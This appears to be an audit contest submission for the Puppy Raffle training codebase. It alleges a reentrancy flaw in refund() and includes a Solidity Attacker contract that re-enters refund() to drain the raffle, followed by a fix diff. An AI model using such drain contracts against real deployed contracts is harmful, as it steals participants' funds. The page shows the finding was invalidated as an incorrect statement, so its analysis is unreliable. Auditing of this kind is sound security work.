Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy vulnerability in refund function allows draining of contract balance.

Root + Impact

Description

The refund function follows an incorrect Checks-Effects-Interactions pattern. It sends ETH to the caller before updating the state (removing the player from the array).

Specific Issue

A malicious contract can implement a receive() or fallback() function that calls refund() again as soon as it receives the first payment. Because the player has not yet been removed from the players list, the contract believes they are still eligible for a refund and sends the ETH again. This loop continues until the raffle's total balance is exhausted.

// Root cause in the codebase with @> marks to highlight the relevant section
// @audit - High Reentrancy vulnerability
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
// @audit - External call happens BEFORE state change
payable(msg.sender).sendValue(entranceFee);
// @audit - State change happens too late
players[playerIndex] = address(0);
}

Risk

​Likelihood:

  • ​Any developer with basic knowledge of Solidity exploits can deploy an attacking contract.

  • No special permissions are required to enter and then call refund().

​Impact:

  • ​Total loss of funds: An attacker can steal all the ETH deposited by every other participant in the raffle.

Proof of Concept

​An attacker creates a contract that enters the raffle and then triggers the refund.

contract Attacker {
PuppyRaffle raffle;
uint256 index;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: 0.1 ether}(p);
index = 0; // assuming first index
raffle.refund(index);
}
receive() external payable {
if (address(raffle).balance >= 0.1 ether) {
raffle.refund(index);
}
}
}

Recommended Mitigation

Ensure the state is updated before the external call, or use OpenZeppelin's ReentrancyGuard

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!